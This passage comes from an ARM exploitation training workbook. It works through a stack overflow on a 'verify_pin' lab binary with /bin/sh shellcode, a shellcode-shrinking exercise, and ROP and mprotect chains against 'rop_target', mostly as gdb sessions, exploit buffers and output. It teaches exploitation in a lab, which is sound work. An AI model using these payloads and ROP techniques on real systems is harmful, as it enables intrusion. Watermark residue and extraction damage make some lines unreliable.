gef➤ b *0x104b8
Breakpoint 1 at 0x104b8

09b91222e5d2d3d668cf8e52ec5d35ba
Run it to verify overwriting the saved lr and getting control of execution.

gef➤ run $(python2 -c 'print "A"*24 + "BBBB" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

[#0] Id 1, Name: "verify_pin", stopped 0x104b8 in verify_pin (), reason: BREAKPOINT

trace ──── micede1865@wii999_com


────────────────────────────────────────────────────────────────────────────────────────────────────

[#0] 0x104b8 → verify_pin()


───────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/20wx $sp
0xbefff440: 0x00000000 0xbefff71e 0x00010a81 0x41414141
0xbefff450: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff460: 0x41414141 0x42424242 0xe28f3001 0xe12fff13
0xbefff470: 0x300c4678 0x900146c0 0x1a921a49 0xdf01270b

24356915
0xbefff480: 0x6e69622f 0x0068732f 0x00000002 0xbefff5c4

Verify the shellcode location by looking at the first 10 bytes of where we found it on the stack.

gef➤ x/10bx 0xbefff468


0xbefff468: 0x01 0x30 0x8f 0xe2 0x13 0xff 0x2f 0xe1
0xbefff470: 0x78 0x46

Paul Erwin
Delete all breakpoints so we don't get any errors/warnings when the new shell starts.

gef➤ del

Run the exploit with the address of the shellcode replacing the BBBB's.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gef➤ run $(python2 -c 'print "A"*24 + "\x68\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python2 -c 'print "A"*24 +
"\x68\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
/bin/bash: warning: command substitution: ignored null byte in input

You entered: AAAAAAAAAAAAAAAAAAAAAAAAh���0���/�xF

process 699 is executing new program: /usr/bin/dash


live
0�F�I���
'�/bin/sh

Ctrl+c then c needed to stop and continue execution

© Hungry Hackers, LLC 185


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


^C
Program received signal SIGINT, Interrupt.
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3

09b91222e5d2d3d668cf8e52ec5d35ba
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────
registers ────
$r0 : 0xb6fff9a8 → 0x00000001
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0xb6fff9a8 → 0x00000001

micede1865@wii999_com
$r5 : 0xb6ff9e20 → 0xb6ffa518 → 0x00000001
$r6 : 0xffffffff
$r7 : 0xbefffce0 → 0x00000000
$r8 : 0xb6fff8e8 → 0xbeffff34 → 0x00000000
$r9 : 0xb6ffe8f8 → 0x00000000
$r10 : 0xb6fff9c0 → 0x00400000 → cmp r7, pc
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffcd0 → 0x00000000
$lr : 0xb6fd81ef → 0x98f00dbf
24356915
$pc : 0xb6fe12b8 → 0xbf004770 ("pG"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
────────────────────────────────────────────────────────────────────────────────────────────────────
stack ────
0xbefffcd0│+0x0000: 0x00000000 ← $sp
0xbefffcd4│+0x0004: 0x00000000
0xbefffcd8│+0x0008: 0x00000000
0xbefffcdc│+0x000c: 0x00000000
0xbefffce0│+0x0010: 0x00000000 Paul Erwin
← $r7
0xbefffce4│+0x0014: 0xb6fff908 → 0x00000000
0xbefffce8│+0x0018: 0xb6fff8fc → 0x00400154 → "/lib/ld-linux-armhf.so.3"
0xbefffcec│+0x001c: 0xb6fff070 → 0xb6fff9c0 → 0x00400000 → cmp r7, pc
───────────────────────────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
0xb6fe12b3 movs r0, r0

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6fe12b5
0xb6fe12b7
;
movs
→ 0xb6fe12b9 <_dl_debug_state+1> bx
<UNDEFINED> instruction: 0xb776
r0, r0
lr
↳ 0xb6fd81ef nop
0xb6fd81f1 bl 0xb6fe5724
0xb6fd81f5 add.w r7, r7, #364 ; 0x16c
0xb6fd81f9 mov sp, r7
0xb6fd81fb vpop {d8}
0xb6fd81ff ldmia.w sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc}

threads ────
live
──────────────────────────────────────────────────────────────────────────────────────────────────

[#0] Id 1, Name: "sh", stopped 0xb6fe12b8 in _dl_debug_state (), reason: SIGINT


────────────────────────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0xb6fe12b8 → _dl_debug_state()
[#1] 0xb6fd81ee → nop
───────────────────────────────────────────────────────────────────────────────────────────────────────────────

186 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


gef➤ c
Continuing.
$

09b91222e5d2d3d668cf8e52ec5d35ba
When we continue, we get a shell!

Shellcode Challenge

The shellcode-696.s shellcode can be updated to make it more efficient. Try to reduce the number of bytes by at least 4.

micede1865@wii999_com
To do this, you will need to modify the shellcode-696.s file, reassemble it, and extract the necessary bytes. Then, try to
execute your modified shellcode in gdb using the verify_pin exploit from the stack overflow challenge.

Hint:

• There are a couple of ways to do this

Here is a working example of the verify_pin exploit in gdb:

nemo@mako:~$ cd ~/labs/verify_pin/
24356915
nemo@mako:~/labs/verify_pin$ gdb ./verify_pin
...
Reading symbols from ./verify_pin...
(No debugging symbols found in ./verify_pin)
(gdb) run $(python2 -c 'print "A"*24 + "\x68\xf4\xff\xbe" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6

"\x68\xf4\xff\xbe" +
Paul Erwin
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python2 -c 'print "A"*24 +

"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
/bin/bash: warning: command substitution: ignored null byte in input

You entered: AAAAAAAAAAAAAAAAAAAAAAAAh���0���/�xF


0�F�I���
'�/bin/sh

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
process 4133 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$

Begin:
live
Make a copy of the shellcode-696.s file and recreate the shellcode in the /tmp/ directory. These commands are covered in
the shellcode lab.

nemo@mako:~$ cd labs/shellcode/asm/
nemo@mako:~/labs/shellcode/asm$ cp shellcode-696.s /tmp/

© Hungry Hackers, LLC 187


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/shellcode/asm$ cd /tmp
nemo@mako:/tmp$ as -o shellcode-696.o shellcode-696.s
nemo@mako:/tmp$ objcopy -O binary shellcode-696.o shellcode-696.bin
nemo@mako:/tmp$ xxd -ps shellcode-696.bin | tr -d '\n' | sed 's/../\\x&/g'

09b91222e5d2d3d668cf8e52ec5d35ba
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e

Review the instructions of the shellcode. How can we reduce the number of instructions and make this smaller?

nemo@mako:/tmp$ objdump -d shellcode-696.o

shellcode-696.o: file format elf32-littlearm

micede1865@wii999_com
Disassembly of section .text:

00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 300c adds r0, #12
c:
e:
10:
46c0
9001
1a49
nop
str r0,
subs
[sp, #4] 24356915
; (mov r8, r8)

r1, r1, r1
12: 1a92 subs r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c:
1e:
732f
0068
strb
lsls
Paul Erwin
r7, [r5, #12]
r0, r5, #1

The first 2 instructions are ARM (4 bytes) and all they do is branch (bx) to the first THUMB instruction (mov r0, pc). Instead
of doing this, we can eliminate the first 2 instructions (add r3, pc, #1 and bx r3) and jump directly to the first THUMB
instruction.

When we do this, we must remember to add 1 to the target address. Since this is all done in a non-ASLR environment, we
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
will be hard-coding this address into our exploit.

Copy the shellcode-696.s file to shellcode-696-modified.s and make the changes needed to reduce the shellcode size. You
will need to make these changes in a text editor.

nemo@mako:/tmp$ cp shellcode-696.s shellcode-696-modified.s

Modified .s file: live


nemo@mako:/tmp$ cat shellcode-696-modified.s
.section .text
.global _start

// Original shellcode from: http://shell-storm.org/shellcode/files/shellcode-696.php

188 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


_start:
.code 16
mov r0, pc

09b91222e5d2d3d668cf8e52ec5d35ba
add r0, #12
nop
str r0, [sp, #4]
sub r1, r1, r1
sub r2, r2, r2
mov r7, #11
svc 1
str r7, [r5, #32]
ldr r1, [r5, #100]
strb
micede1865@wii999_com
r7, [r5, #12]
lsl r0, r5, #1

Assemble the modified shellcode and extract the bytes required for pasting it into the exploit.

nemo@mako:/tmp$ as -o shellcode-696-modified.o shellcode-696-modified.s


nemo@mako:/tmp$ objcopy -O binary shellcode-696-modified.o shellcode-696-modified.bin

24356915
nemo@mako:/tmp$ xxd -ps shellcode-696-modified.bin | tr -d '\n' | sed 's/../\\x&/g'
\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00

Try using your new shellcode to exploit the verify_pin program in gdb.

nemo@mako:/tmp$ cd ~/labs/verify_pin/
nemo@mako:~/labs/verify_pin$

Paul Erwin
The following exploit buffer should produce a shell in gdb.

run $(python -c 'print "A"*24 + "\x79\xf4\xff\xbe" +


"\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00"')

In the example above, the address 0xbefff479 is the location of the shellcode on the stack plus 1. This address may vary

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
on your system and you may need to locate the address of your shellcode by setting a breakpoint at 0x000104b8, just
after the call to memcpy in verify_pin.

After you set the breakpoint, try the exploit using the provided input and look for your shellcode on the stack. Once you hit
the breakpoint, you can look for your shellcode using the x/20wx $sp command. Make note of the address where your
shellcode begins, in our example it is 0xbefff478. Use this address +1 (since it is THUMB) for crafting your exploit. Don't
forget to write your address in reverse order, since this is a little endian system.

live
If gdb seems to hang, you may need to hit Ctrl-c and then "c" to continue.

nemo@mako:~/labs/verify_pin$ gdb ./verify_pin


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

© Hungry Hackers, LLC 189


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".

09b91222e5d2d3d668cf8e52ec5d35ba
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from ./verify_pin...

micede1865@wii999_com
(No debugging symbols found in ./verify_pin)
(gdb) run $(python -c 'print "A"*24 + "\x79\xf4\xff\xbe" +
"\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00"')
Starting program: /home/nemo/labs/verify_pin/verify_pin $(python -c 'print "A"*24 + "\x79\xf4\xff\xbe"
+ "\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00"')
/bin/bash: warning: command substitution: ignored null byte in input

You entered: AAAAAAAAAAAAAAAAAAAAAAAAy���xF

24356915
0�F�I���
'�/bin/sh
process 4092 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fe12bc in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$

Success. We have a shell!


Paul Erwin
At times you may need to make your shellcode as small as possible to fit within certain size constraints.

(Note: We can still make this shellcode smaller.)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
ROP Challenge

Use the following rop gadget from libc in your exploit. You will need at least one other gadget, but you are required to use
this one.

4b232: 4628 mov r0, r5


4b234:
4b236:
b005
bdf0
add
pop
sp, #20
live
{r4, r5, r6, r7, pc}

Begin:

Debug rop_target.

190 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We are required to use this gadget

4b232: 4628 mov r0, r5


4b234: b005 add sp, #20

09b91222e5d2d3d668cf8e52ec5d35ba
4b236: bdf0 pop {r4, r5, r6, r7, pc}

Find a gadget to get a value into r5, so it can be moved into r0.

nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep pop | grep r5 | grep pc | more


1b674: bd30 pop {r4, r5, pc}

micede1865@wii999_com
Get the mapping of libc from a running instance of rop_target.

nemo@mako:~/labs/leak$ ps aux | grep rop_target


nemo 602 0.9 2.5 34788 24524 pts/0 S+ 23:12 0:23 gdb rop_target
nemo 842 2.1 0.0 1336 192 pts/0 t 23:52 0:00 /home/nemo/labs/rop/rop_target
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?X??Ls??CCCC????
nemo 848 0.0 0.0 6764 560 pts/1 S+ 23:53 0:00 grep --color=auto rop_target

nemo@mako:~/labs/leak$
00400000-00401000 r-xp
09f00000-09f01000 r-xp
24356915
cat /proc/842/maps
00000000 00:32 1314101
00010000 00:32 1314101
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
09f10000-09f11000 r--p 00010000 00:32 1314101 /home/nemo/labs/rop/rop_target
09f11000-09f12000 rw-p 00011000 00:32 1314101 /home/nemo/labs/rop/rop_target
b6ed7000-b6fc0000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6fc0000-b6fcf000 ---p 000e9000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6fcf000-b6fd1000 r--p 000e8000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6fd1000-b6fd3000 rw-p
... Paul Erwin
000ea000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

View instruction for 1 st gadget.

gef➤ x/10i 0xb6ef2674


0xb6ef2674: pop {r4, r5, pc}

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...

Check address of 2 nd (required gadget)

>>> hex(0xb6ed7000+0x4b232)
'0xb6f22232L'

View instructions at required gadget

gef➤ x/5 0xb6f22232


live
0xb6f22232: mov r0, r5
0xb6f22234: add sp, #20
0xb6f22236: pop {r4, r5, r6, r7, pc}

© Hungry Hackers, LLC 191


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Build and run our rop chain.

nemo@mako:~/labs/rop$ gdb rop_target


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2

09b91222e5d2d3d668cf8e52ec5d35ba
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:

micede1865@wii999_com
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
87 commands loaded for GDB 9.2 using Python engine 3.8

Reading symbols from rop_target...


24356915
[*] 5 commands could not be loaded, run `gef missing` to know why.

(No debugging symbols found in rop_target)

Send the new rop chain that includes the "required" gadget.

gef➤ run $(python2 -c 'print "A"*68 + "\x75\x26\xef\xb6" + "CCCC" + "\x4c\x73\xfb\xb6" +


"\x33\x22\xf2\xb6" + "C"*20 + "D"*16 + "\x91\x99\xf0\xb6"')

Paul Erwin
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\x75\x26\xef\xb6" +
"CCCC" + "\x4c\x73\xfb\xb6" + "\x33\x22\xf2\xb6" + "C"*20 + "D"*16 + "\x91\x99\xf0\xb6"')

Ctrl+c and c to continue

^C
Program received signal SIGINT, Interrupt.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3

[ Legend: Modified register | Code | Heap | Stack | String ]


────────────────────────────────────────────────────────────────────────────────────────────────────────────────
registers ────
$r0 : 0xb6fff9a8 → 0x00000001
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0xb6fff9a8 → 0x00000001
$r5 : 0xb6ff9df0 → 0xb6ffa4e8 → 0x00000001
$r6 : 0xffffffff
live
$r7 : 0xbefff340 → 0x00000000
$r8 : 0xb6fff8e8 → 0xbefff594 → 0xbefff6c7 → "/home/nemo/labs/rop/rop_target"
$r9 : 0xb6ffe8f8 → 0x00000000
$r10 : 0xb6fff9c0 → 0x00400000 → cmp r7, pc
$r11 : 0x0

192 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


$r12 : 0x0
$sp : 0xbefff330 → 0x00000000
$lr : 0xb6fd81ef → nop
$pc : 0xb6fe12b8 → 0xbf004770 ("pG"?)

09b91222e5d2d3d668cf8e52ec5d35ba
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
stack ────
0xbefff330│+0x0000: 0x00000000 ← $sp
0xbefff334│+0x0004: 0x00000000
0xbefff338│+0x0008: 0x00000000
0xbefff33c│+0x000c: 0x00000000
0xbefff340│+0x0010: 0x00000000 ← $r7
0xbefff344│+0x0014: 0xb6fff908 → 0x00000000

micede1865@wii999_com
0xbefff348│+0x0018: 0xb6fff8fc → 0x00400174 → "/lib/ld-linux-armhf.so.3"
0xbefff34c│+0x001c: 0xb6fff070 → 0xb6fff9c0 → 0x00400000 → cmp r7, pc
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
0xb6fe12b3 movs r0, r0
0xb6fe12b5 ; <UNDEFINED> instruction: 0xb776
0xb6fe12b7 movs r0, r0
→ 0xb6fe12b9 <_dl_debug_state+1> bx lr
↳ 0xb6fd81ef
0xb6fd81f1
0xb6fd81f5
24356915
nop
bl 0xb6fe5724
add.w r7, r7, #364 ; 0x16c
0xb6fd81f9 mov sp, r7
0xb6fd81fb vpop {d8}
0xb6fd81ff ldmia.w sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc}
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
threads ────

Paul Erwin
[#0] Id 1, Name: "rop_target", stopped 0xb6fe12b8 in _dl_debug_state (), reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0xb6fe12b8 → _dl_debug_state()
[#1] 0xb6fd81ee → nop
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ c
Continuing.
[Detaching after vfork from child process 905]

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
$

We get a shell! Success.

Mprotect Challenge

live
Create a rop chain that calls mprotect and sets the stack permissions so that they are executable, then jump to and
execute your shellcode.

© Hungry Hackers, LLC 193


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

This is an advanced challenge that pushes beyond what we have covered so far in class and is intended to be used as homework. It

09b91222e5d2d3d668cf8e52ec5d35ba
has been included since it represents the natural progression of how we can use rop in a real world scenario.

Begin:

About mprotect

micede1865@wii999_com
In Linux, the mprotect function sets protections on a region of memory (see man mprotect ). The prototype is as follows:

int mprotect(void *addr, size_t len, int prot)

In the prototype above, addr is the start address for the memory to be modified. The len parameter is how many bytes
from addr you want to set permissions for. These 2 parameters define the range of memory we want to modify. The third
parameter is the permissions we want to set for the memory range.

24356915
The permissions are combined using a logical 'or' and their definitions can be found at:

https://github.com/lattera/glibc/blob/master/bits/mman.h

...
#define PROT_NONE 0x00 /* No access. */
#define PROT_READ 0x04 /* Pages can be read. */
#define
#define
...
Paul Erwin
PROT_WRITE 0x02 /* Pages can be written. */
PROT_EXEC 0x01 /* Pages can be executed. */

If we combine PROT_READ, PROT_WRITE, and PROT_EXEC using a logical or, the value will be 7. Any memory with the
page protection defined as 7 will be RWX (readable, writeable, executable).

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
For more information on logical or, you can visit https://www.plantation-productions.com/Webster/www.artofasm.com/
Linux/HTML/DataRepresentation4.html

So why do we care about this as an attacker? Well, our shellcode may be more complex than what we can do with rop. So
if we want to execute custom shellcode, we can use rop to call mprotect and set the permission of our shellcode to RWX.

For example, if our shellcode gets delivered onto the stack, but the stack is not executable, we could use rop to call

live
mprotect and make the stack executable and then jump to our shellcode.

 Note

In the rop lab, we passed "/bin/sh" to the system() function to get a shell. In this challenge, we will use rop to call mprotect and jump
to shellcode that will give us a shell ($).

194 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Since we will be using the same target binary (rop_target) as the rop lab, we already know that we can gain control of
execution by exploiting a vulnerable call to the strcpy function.

Here is how we can crash rop_target in gdb. Remember that you may need to hit Ctl-C and then c to continue if gdb hangs.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/rop$ gdb ./rop_target
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.

micede1865@wii999_com
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Reading symbols from ./rop_target... 24356915


Type "apropos word" to search for commands related to "word"...

(No debugging symbols found in ./rop_target)


(gdb) run $(python2 -c 'print "A"*68 + "BBBB"')
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "BBBB"')
^C
Program received signal SIGINT, Interrupt.
0xb6fe12fa in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing. Paul Erwin
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

By sending 68 A's and 4 B's (0x42424242), we confirm that we overwrite the saved link register and redirect execution to
crash the program.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We will construct a rop chain to call mprotect and make our shellcode executable. This will be followed by the shellcode
we want to jump to. Our exploit will look like this:

68 A's + rop chain + shellcode

Since our shellcode gets delivered on the stack, our goal for ropping mprotect will be:
live
mprotect(<stack_address>, <size of memory range to modify>, 0x7)

The stack address and memory range do not have to be exact, but our shellcode must be somewhere in that range.

© Hungry Hackers, LLC 195


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Since we are not having to deal with ASLR, the stack address of our shellcode will be the same every time we run the
exploit.

We will start by finding this address in gdb. To do this, disassemble the check_input function.
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) disas check_input
Dump of assembler code for function check_input:
0x09f00110 <+0>: push {r7, lr}
0x09f00112 <+2>: sub sp, #72 ; 0x48
0x09f00114 <+4>: add r7, sp, #0
0x09f00116 <+6>: str r0, [r7, #4]
0x09f00118 <+8>: add.w r3, r7, #8

micede1865@wii999_com
0x09f0011c <+12>:
0x09f0011e <+14>:
0x09f00120 <+16>:
ldr r1, [r7, #4]
mov r0, r3
blx 0x9f002a4 <__strcpy@@GLIBC_2.4_from_thumb>
0x09f00124 <+20>: add.w r3, r7, #8
0x09f00128 <+24>: ldr r2, [pc, #28] ; (0x9f00148 <check_input+56>)
0x09f0012a <+26>: add r2, pc
0x09f0012c <+28>: mov r1, r2
0x09f0012e <+30>: mov r0, r3
0x09f00130 <+32>:
0x09f00134 <+36>:
0x09f00136 <+38>:
mov r3, r0
cmp r3, #0
24356915
blx 0x9f0028c <__strstr@@GLIBC_2.4_from_thumb>

0x09f00138 <+40>: beq.n 0x9f0013e <check_input+46>


0x09f0013a <+42>: movs r3, #1
0x09f0013c <+44>: b.n 0x9f00140 <check_input+48>
0x09f0013e <+46>: movs r3, #0
0x09f00140 <+48>: mov r0, r3
0x09f00142 <+50>:
0x09f00144 <+52>:
0x09f00146 <+54>:
adds
mov sp, r7
pop {r7, pc}
Paul Erwin
r7, #72 ; 0x48

0x09f00148 <+56>: andeq r0, r0, r6, asr #3


End of assembler dump.

Set a breakpoint just after the call to strcpy. This is so that we can observe the result of the overflow.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) b * 0x9f00124
Breakpoint 1 at 0x9f00124

Run the exploit again using the following input. We should hit our breakpoint. You may need to hit Ctl-c and c to continue.

(gdb) run $(python2 -c 'print "A"*68 + "BBBB"')


The program being debugged has been started already.
Start it from the beginning? (y or n) y
live
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "BBBB"')
^C
Program received signal SIGINT, Interrupt.
0xb6fe12bc in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.

196 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Breakpoint 1, 0x09f00124 in check_input ()

Once the breakpoint has been hit, we should be able to view our buffer on the stack. Do this using the x command.

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/40wx $sp
0xbefff3f8: 0x00000000 0xbefff71a 0x41414141 0x41414141
0xbefff408: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff418: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff428: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff438: 0x41414141 0x41414141 0x41414141 0x42424242
0xbefff448: 0xbefff500 0x00000002 0xb6fd33c4 0x09f001f1

micede1865@wii999_com
0xbefff458: 0x00000000
0xbefff468: 0x00000000
0xbefff478: 0x00000002
0x09f00001
0xb6ef19a5
0x09f00163
0x00000000
0xb6fd1000
0xf1b2e1bf
0x00000000
0xbefff5c4
0xf9a20cb6
0xbefff488: 0x09f001f1 0x00000000 0x09f00001 0x00000000

At address 0xbefff400, we see our buffer of A's (0x41) and the 4 B's (0x42) that will over ow the saved link register. We

fl
don't need the exact address of where our shellcode will be just yet. We are just looking for a range of memory to make
RWX.
24356915
There is an important thing to remember when running mprotect. The start address for the memory you want to change
must be page aligned. This typically means the rst parameter you specify must be rounded so that the last 3 values are 0
fi
(ie 0xbefff000).

We can view our stack mapping in the running program by executing the info proc map command in gdb. The process
id (947) will differ in your output.
Paul Erwin
(gdb) info proc map
process 947
Mapped address spaces:

Start Addr End Addr Size Offset objfile


0x400000 0x401000 0x1000 0x0 /home/nemo/labs/rop/rop_target

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x9f00000
0x9f10000
0x9f11000
0x9f01000
0x9f11000
0x9f12000
0x1000
0x1000
0x1000
0x10000
0x10000
0x11000
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
0xb6ed7000 0xb6fc0000 0xe9000 0x0 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fc0000 0xb6fcf000 0xf000 0xe9000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fcf000 0xb6fd1000 0x2000 0xe8000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd1000 0xb6fd3000 0x2000 0xea000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd3000 0xb6fd5000 0x2000 0x0
0xb6fd5000
0xb6ff9000
0xb6ffb000
0xb6fee000
0xb6ffb000
0xb6ffc000
0x19000
0x2000
0x1000
0x0
0x0
0x0
live
/usr/lib/arm-linux-gnueabihf/ld-2.31.so

[sigpage]
0xb6ffc000 0xb6ffd000 0x1000 0x0 [vvar]
0xb6ffd000 0xb6ffe000 0x1000 0x0 [vdso]
0xb6ffe000 0xb6fff000 0x1000 0x19000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
